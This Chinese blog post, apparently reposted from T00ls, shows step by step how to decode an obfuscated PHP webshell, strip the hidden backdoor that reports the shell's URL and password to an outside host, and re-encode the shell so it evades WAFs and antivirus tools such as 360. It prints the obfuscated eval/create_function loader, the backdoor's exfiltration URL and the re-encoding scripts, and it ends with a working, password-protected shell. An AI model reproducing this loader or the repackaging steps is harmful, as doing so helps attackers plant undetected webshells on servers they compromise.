解密PHP免杀大马去除后门还原免杀大马全过程

  • 内容
  • 相关

准备工具

  • PhpStudy 运行环境
  • Sublime Text3
  • 虚拟机一台

文件里面的代码如下

<?php
$password = 'admin'; //登录密码

//本次更新:体积优化、压缩优化、命令优化、反弹优化、文件管理优化、挂马清马优化等大量功能细节优化。
//功能特色:PHP高版本低版本都能执行,文件短小精悍,方便上传,功能强大,提权无痕迹,无视waf,过安全狗、云锁、360、阿里云、护卫神等主流waf。同时支持菜刀、xise连接。

$html = '$password' . '=' . "'" . $password . "';" . '@e#html' . '' . 'v' . "" . '' . '' . "" . '' . '' . '' . 'a' . '' . 'l(' . 'g' . '' . "" . '' . '' . 'z' . 'i' . '' . '' . 'n' . 'f' . 'l' . '' . '' . "" . 'a' . 't' . 'e(b' . 'as' . '' . '' . '' . "" . '' . 'e' . '6' . '' . "" . '' . "" . "" . "" . '' . '4_' . 'd' . 'e' . 'c' . '' . '' . '' . "" . '' . "" . 'o' . 'd' . 'e' . '(' . "'lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8=')));";
$css = base64_decode("Q3JlYXRlX0Z1bmN0aW9u");
$style = $css('', preg_replace("/#html/", "", $html));
$style(); /*));.'<linkrel="stylesheet"href="$#css"/>';*/

解密

注意观察一下代码可以发现字符串使用' . ' 连接的,那么我们将他连接到一块去看一下效果

@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l

最后拼接成为 @e#htmlval,看到这里很奇怪,然后我们继续读代码,下面会有一个替换#html的

剩下的可以以此类推

'.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e
gzinflate
b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'
base64_decode

当然,还有最前面的$html='$password'.'='."'".$password."';

一眼就能看出他会变成

$html=$password="admin";

最下面还有3行

$css = base64_decode("Q3JlYXRlX0Z1bmN0aW9u");
$css = Create_Function          //这个可以用来创建匿名函数,相信大家都知道

刚刚看到上面的@e#htmlval,截图上可以看到已经替换为空了

1.png

剩下还有一个$style,我们可以直接将他输出

2.png

可以看到大致PHP内容是这样的

Create_Function($html = $password;@eval(gzinflate(base64_decode("xxxxxxxxxx"))));

接着我们将代码修改一下,大概是这样的,说白了就是将@eval 修改为 @echo,因为这样可以输出他原本的代码

" . '@e#html' . '' . 'v' . "" . '' . '' . "" . '' . '' . '' . 'a' . '' . 'l
修改为下面这样
" . '@e#html' . '' . 'c' . "" . '' . '' . "" . '' . '' . '' . 'h' . '' . 'o

然后把大马拿到phpstudy里面运行,拿去之前,我先在phpstudy的站点域名管理里面设置一下域名以及host文件,这样可以方便我们后期观察

3.png

修改完成之后访问网页 按一下ctrl+u,查看源代码是这样的

4.png

看到确实入我们推断的如此

接着我们将中间的base64拿去解密一下,方法很多

解密可以直接输出在网页

比如这样解

$Code ="lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8="; // base64编码

echo gzinflate(base64_decode($Code));

他是64编码,然后我们就先用base64_decode,然后用gzinflate,这样就可以拿到源码了

现在访问一下页面看看效果,建议用视图模式

5.png

看到了上面有两行base64加密的内容,我们又可以继续解密

6.png

看到里面是一个网址,看样子好像距希望不远了

拿到网址,第一步我们就去访问他,但是却发现是损坏的,那我们可以猜测里面就是大马内容

7.png

接着我用迅雷将他下载下来了,大小76KB,打开看看内容

8.png

看这样子,又是用base64加密的,这里我写了几句代码来解密

$text = "xxxxxxx"; //将需要解密的base64放到这里
$File = 'decode.php';//解码后保存的文件
$FP = fopen($File,"w");//以写入方式打开文件
$Temp = base64_decode($text);//64编码解密
$temp = gzinflate($Temp);//gzinflate解密
fwrite($FP,$temp);//写入文件
fclose($FP);//关闭文件
echo "解密成功!";
?>

这里弄完之后就去网页访问一下这个文件,这样,当前目录就会生成一个decode.php文件,并且在里面写入解密后的内容

查找后门

找后门的方式有很多,比如我们可以跟中$password ,查找$_SERVER['HTTP_HOST'] ,$_SERVER['SCRIPT_NAME'],$_SERVER['SERVER_PORT'],等等。当然 上面几个是比较常用的,因为后门中肯定会发送当前大马的密码,以及当前域名 端口,所以我们就可以根据他们来查找

这里我直接用$password查找,当然$_SERVER['HTTP_HOST']也可以

打开文件就看到了这条内容,没错,它定义了一个常量,设置常量名为postpass,现在我们就可以根据postpass来查找:

9.png

跟中到826行时发现,show_main()这个函数,看了一下里面的内容,然后又看到下面还有一个show_mainp()函数,函数里面写了关于postpass以及$_SERVER ['HTTP_HOST']还有其他的

10.png

里面又有base64加密的内容,这事我们解密出来是这个

22.png

可以确定,已经找到了,接着我们把这个url和下面的参数拼接一下看看

// $url = [url]http://phpapi.info/api.php?name=www.test.com%2Fshell.php&value=admin&id=ip[/url]地址
GetHtml($url);   //使用这个函数去请求上面那个url,然后请求的内容就记录到服务端了

这里我们只需要将show_mainp(),show_main() 这两个函数删除即可

还原

上面我们解密了,也查找到后门并且删除了两个关键性的函数,接下来就是还原。所有代码我们已经拿到手,只需要跟着解密步骤加密,然后最后生成一个404.gif图片即可

大概步骤是这样的

首先将代码进行 gzdeflate -> base64_encode ,这样就已经成功的加密成为了类似404.gif那张图片,这里我写了几行代码用来加密

$filename = "decode.php";//读取大马内容
$File = '400.gif';//加密后保存的文件
$handle = fopen($filename, "r");
$contents = fread($handle, filesize ($filename));
$temp = base64_encode(gzdeflate($contents));
$FP = fopen($File,"w");
fwrite($FP,$temp);
fclose($FP);
fclose($handle);

现在已经生成了400.gif了

11.png

图片已经还原,现在就可以去找人借一个域名然后挂到服务器,当然用本地的phpstudy加修改host文件也是可以的,比如我现在已经将我的图片挂到了本地的phpstudy里面了,记得将host文件修改一下,最后变成了

12.png

现在我们回到最前面,将原本大马的base64内容解密,怎么解密前面已经说过了,然后找到他的那段404.gif加密的内容

13.png

看到里面的地址,前面说过他是404.gif地址,然后他用了两次base64_encode,从下图可以看到

14.png

所以这个时候我们也可以将我们的加密两次,变成了这个样子(加密的时候记得在前面加上http://),大概就是这样

YUhSMGNEb3ZMM2QzZHk1M1pXSnphR1ZzYkM1amIyMHZOREF3TG1kcFpnPT0=

网页上的代码复制下来修改一下里面的加密内容,修改成为我们的400.gif这个

15.png

现在可以访问试一试,可以看到直接访问成功了,但是没有密码,其实我们可以直接在最上方写上$password="admin"; 这样密码就是admin

16.png

虽然我们可以在代码最上方加上$password="admin"; 但是就这样看,好像看着一点都不舒服,而且他是否具备免杀,所以这个时候我们就可以将代码继续还原,直接将所有内容用gzdeflate -> base64_encode 这个加密一次,并且修改shell.php里面的base64加密内容就可以了,用gzdeflate -> base64_encode的原因是因为它使用的base64_decode -> gzinflate解密,所以我们反着来就行 大概就是用前面的代码就可以加密

$filename = "shell.php";//读取大马内容
$File = 'shell.txt';//加密后保存的文件
$handle = fopen($filename, "r");
$contents = fread($handle, filesize ($filename));
$temp = base64_encode(gzdeflate($contents));
$FP = fopen($File,"w");
fwrite($FP,$temp);
fclose($FP);
fclose($handle);

完成之后会在当前目录生成一个shell.txt

17.png

现在只需要将shell.txt里面的内容拿到从网上下载的大马里面的base64加密内容处替换一下即可

18.png

19.png

访问一下./shell.php可以看到可以成功访问,并且可以成功的登录

20.png

21.png

注意一点,还原的时候如果无法使用,可以看看测试时,是否在代码里面加上<?php 或者?> ,如果加上了,删除重新加密即可,这样就过狗过360等其他的大马查杀工具了

文章转载自T00ls.NET->原文地址

本文标签:

版权声明:若无特殊注明,本文皆为《南柯一梦》原创,转载请保留文章出处。

本文链接:解密PHP免杀大马去除后门还原免杀大马全过程 - https://www.nkymbk.cn/post-184.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

未显示?请点击刷新

允许邮件通知

评论

4条评论
  1. avatar

    影视视频制作 Lv.1 Chrome 66.0.3359.139 Chrome 66.0.3359.139 Mac OS X 10.11.0 Mac OS X 10.11.0 回复

    公司宣传片拍摄www.filmh.cn公司宣传片拍摄www.filmh.cn-客服咨询QQ1826818268(企鹅扣扣)-Email:1826818268回复了qq.com 宣传片制作咨询www.filmh.cn

    天津市 移动

    1. avatar

      That year 1997 Lv.3 uBrowser 6.2.4094.1 uBrowser 6.2.4094.1 Windows Windows 回复

      南柯一梦新年快乐!

      北京市 移动

      1. 南柯一梦 Chrome 71.0.3578.98 Chrome 71.0.3578.98 Windows Windows 回复

        回复了That year 1997:你也快乐哦

        江西省赣州市 电信

    2. avatar

      That year 1997 Lv.3 uBrowser 6.2.4094.1 uBrowser 6.2.4094.1 Windows Windows 回复

      打卡! 表情

      广东省广州市 电信